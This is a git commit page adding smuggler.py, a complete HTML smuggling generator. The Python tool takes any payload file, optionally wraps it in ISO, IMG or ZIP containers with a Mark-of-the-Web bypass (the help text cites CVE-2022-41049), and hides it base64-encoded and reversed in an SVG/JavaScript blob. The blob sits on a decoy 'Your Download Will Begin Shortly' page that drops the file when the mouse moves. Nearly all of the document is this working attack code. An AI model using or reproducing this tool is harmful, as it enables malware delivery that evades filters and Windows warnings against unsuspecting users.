Create smuggler.py
Rahmat Nurfauzi
GitHub
parent
8d4bb9e08a
commit
15beeaf698
|
|
@ -0,0 +1,174 @@
|
||||||
|
#!/usr/bin/python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from io import BytesIO
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
import zipfile, base64, sys, pycdlib
|
||||||
|
import argparse, magic, os
|
||||||
|
|
||||||
|
def html_template(targetFile, svg_payload, js_payload):
|
||||||
|
soup = BeautifulSoup(open(targetFile), 'html.parser')
|
||||||
|
js_tag = soup.new_tag("script")
|
||||||
|
js_tag.string = js_payload
|
||||||
|
|
||||||
|
section_tag = soup.new_tag("section")
|
||||||
|
section_tag["id"] = "payload"
|
||||||
|
section_tag["style"] = "display:none"
|
||||||
|
section_tag.string = svg_payload
|
||||||
|
|
||||||
|
soup.body.append(js_tag)
|
||||||
|
soup.body.append(section_tag)
|
||||||
|
|
||||||
|
return str(soup)
|
||||||
|
|
||||||
|
def make_iso(targetFile, ext):
|
||||||
|
iso = pycdlib.PyCdlib()
|
||||||
|
iso.new(interchange_level=4)
|
||||||
|
|
||||||
|
targetfilenameFirst = targetFile.split(".")[0]
|
||||||
|
targetFilenameExt = targetFile.split(".")[1]
|
||||||
|
|
||||||
|
targetfilename = '{}.{}'.format(targetfilenameFirst, targetFilenameExt)
|
||||||
|
targetfilehandle = open(targetfilename, 'rb')
|
||||||
|
targetfilebody = targetfilehandle.read()
|
||||||
|
|
||||||
|
iso.add_fp(BytesIO(targetfilebody), len(targetfilebody), '/' + targetfilename + ';1')
|
||||||
|
|
||||||
|
iso.write('{}.{}'.format(targetfilenameFirst, ext))
|
||||||
|
iso.close()
|
||||||
|
|
||||||
|
return targetfilehandle.close()
|
||||||
|
|
||||||
|
def make_zip(targetFile, zipOutput):
|
||||||
|
zip = zipfile.ZipFile(zipOutput, "w")
|
||||||
|
zip.write(targetFile)
|
||||||
|
zip.close()
|
||||||
|
|
||||||
|
def zip_motw_bypass(targetFile, targetZipFile):
|
||||||
|
archive = zipfile.ZipFile(targetZipFile, "r")
|
||||||
|
data = archive.read(targetFile)
|
||||||
|
archive.close()
|
||||||
|
|
||||||
|
zip = zipfile.ZipFile(targetZipFile, "w", zipfile.ZIP_DEFLATED)
|
||||||
|
info = zipfile.ZipInfo(targetFile)
|
||||||
|
info.create_system = 1
|
||||||
|
info.external_attr = 33
|
||||||
|
zip.writestr(info, data)
|
||||||
|
zip.close()
|
||||||
|
|
||||||
|
def generate(targetFile, container="", template=""):
|
||||||
|
filename = ""
|
||||||
|
|
||||||
|
if os.path.exists(targetFile) == False:
|
||||||
|
print("[-] Target file not found")
|
||||||
|
exit()
|
||||||
|
else:
|
||||||
|
print("[*] File {} successfully loaded".format(targetFile))
|
||||||
|
|
||||||
|
if container == "iso":
|
||||||
|
print("[*] Creating an iso file")
|
||||||
|
make_iso(targetFile, "iso")
|
||||||
|
filename = targetFile.split(".")[0] + ".iso"
|
||||||
|
elif container == "img":
|
||||||
|
print("[*] Creating an img file")
|
||||||
|
make_iso(targetFile, "img")
|
||||||
|
filename = targetFile.split(".")[0] + ".img"
|
||||||
|
elif container == "zip":
|
||||||
|
filename = targetFile.split(".")[0] + ".zip"
|
||||||
|
print("[*] Creating a zip file")
|
||||||
|
make_zip(targetFile, filename)
|
||||||
|
print("[*] Applying MOTW Bypass")
|
||||||
|
zip_motw_bypass(targetFile, filename)
|
||||||
|
else:
|
||||||
|
filename = targetFile
|
||||||
|
|
||||||
|
binary = base64.b64encode(open(filename, "rb").read())
|
||||||
|
mime = magic.Magic(mime=True)
|
||||||
|
content_type = mime.from_file(filename)
|
||||||
|
output = filename
|
||||||
|
|
||||||
|
print("[*] Set content type {}".format(content_type))
|
||||||
|
|
||||||
|
js_payload = """<script>//<![CDATA[
|
||||||
|
var text = "%s";
|
||||||
|
function base64ToArrayBuffer(base64) {
|
||||||
|
var binary_string = window.atob(base64);
|
||||||
|
var len = binary_string.length;
|
||||||
|
|
||||||
|
var bytes = new Uint8Array( len );
|
||||||
|
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
|
||||||
|
return bytes.buffer;
|
||||||
|
}
|
||||||
|
function newFile(blob)
|
||||||
|
{
|
||||||
|
var fname = "%s";
|
||||||
|
let file = new File([blob], fname, {type: "%s"});
|
||||||
|
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fname);
|
||||||
|
else{
|
||||||
|
let exportUrl = URL.createObjectURL(file);
|
||||||
|
window.location.assign(exportUrl);
|
||||||
|
URL.revokeObjectURL(exportUrl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function reverseString(str) {
|
||||||
|
return str.split("").reverse().join("");
|
||||||
|
}
|
||||||
|
var blob = base64ToArrayBuffer(reverseString(text));
|
||||||
|
newFile(blob);
|
||||||
|
//]]>
|
||||||
|
</script>""" % (str(binary[::-1], "UTF-8"), output, content_type)
|
||||||
|
|
||||||
|
svg_payload = """<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
|
||||||
|
%s</svg>""" % js_payload
|
||||||
|
|
||||||
|
javascript ="""function init(){if(!document.getElementById("execute")){var e=document.getElementById("payload").innerHTML;let t=document.createElement("embed");t.setAttribute("src","data:image/svg+xml;base64,"+e),t.setAttribute("id","execute"),document.body.appendChild(t)}}document.addEventListener("mousemove",function(){init()});"""
|
||||||
|
payload = str(base64.b64encode(svg_payload.encode("utf-8")), "UTF-8")
|
||||||
|
|
||||||
|
if template != None:
|
||||||
|
if os.path.exists(template) == False:
|
||||||
|
print("[-] File HTML template not found")
|
||||||
|
quit()
|
||||||
|
else:
|
||||||
|
return html_template(template, payload, javascript)
|
||||||
|
else:
|
||||||
|
html_result = """<!DOCTYPE html><html><head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /><title>Your Download Will Begin Shortly</title></head><body><h1>Thank You - Your Download Will Begin Shortly</h1><section style="display:none" id="payload">%s</section><script>%s</script></body></html>""" % (payload, javascript)
|
||||||
|
return html_result
|
||||||
|
|
||||||
|
def banner():
|
||||||
|
print("""
|
||||||
|
██████ ███▄ ▄███▓ █ ██ ▄████ ▄████ ██▓ ▓█████ ██▀███
|
||||||
|
▒██ ▒ ▓██▒▀█▀ ██▒ ██ ▓██▒ ██▒ ▀█▒ ██▒ ▀█▒▓██▒ ▓█ ▀ ▓██ ▒ ██▒
|
||||||
|
░ ▓██▄ ▓██ ▓██░▓██ ▒██░▒██░▄▄▄░▒██░▄▄▄░▒██░ ▒███ ▓██ ░▄█ ▒
|
||||||
|
▒ ██▒▒██ ▒██ ▓▓█ ░██░░▓█ ██▓░▓█ ██▓▒██░ ▒▓█ ▄ ▒██▀▀█▄
|
||||||
|
▒██████▒▒▒██▒ ░██▒▒▒█████▓ ░▒▓███▀▒░▒▓███▀▒░██████▒░▒████▒░██▓ ▒██▒
|
||||||
|
▒ ▒▓▒ ▒ ░░ ▒░ ░ ░░▒▓▒ ▒ ▒ ░▒ ▒ ░▒ ▒ ░ ▒░▓ ░░░ ▒░ ░░ ▒▓ ░▒▓░
|
||||||
|
░ ░▒ ░ ░░ ░ ░░░▒░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░▒ ░ ▒░
|
||||||
|
░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
|
||||||
|
░ ░ ░ ░ ░ ░ ░ ░ ░ ░
|
||||||
|
HTML Smuggling Generator | by @infosecn1nja
|
||||||
|
""")
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description=banner())
|
||||||
|
parser.add_argument('-o', '--output', help="Ouput file name", required=True)
|
||||||
|
parser.add_argument('-f', '--file', help="Path to the file to embed into HTML", required=True)
|
||||||
|
parser.add_argument('-c', '--container', choices=['img','iso','zip'], help="Package payload into container, support format img, iso and zip (CVE-2022-41049) MOTW bypass")
|
||||||
|
parser.add_argument('-x', '--template', help="Path to HTML template")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
file = args.file
|
||||||
|
output = args.output
|
||||||
|
container = args.container
|
||||||
|
template = args.template
|
||||||
|
|
||||||
|
result = generate(file, container, template)
|
||||||
|
|
||||||
|
if output:
|
||||||
|
try:
|
||||||
|
with open(output,"w") as f:
|
||||||
|
print("[*] File {} successfully created".format(output))
|
||||||
|
f.write(result)
|
||||||
|
f.close()
|
||||||
|
except IOError:
|
||||||
|
print("[-] Could not write output: {}".format(output))
|
||||||
|
quit()
|
||||||
Loading…
Reference in New Issue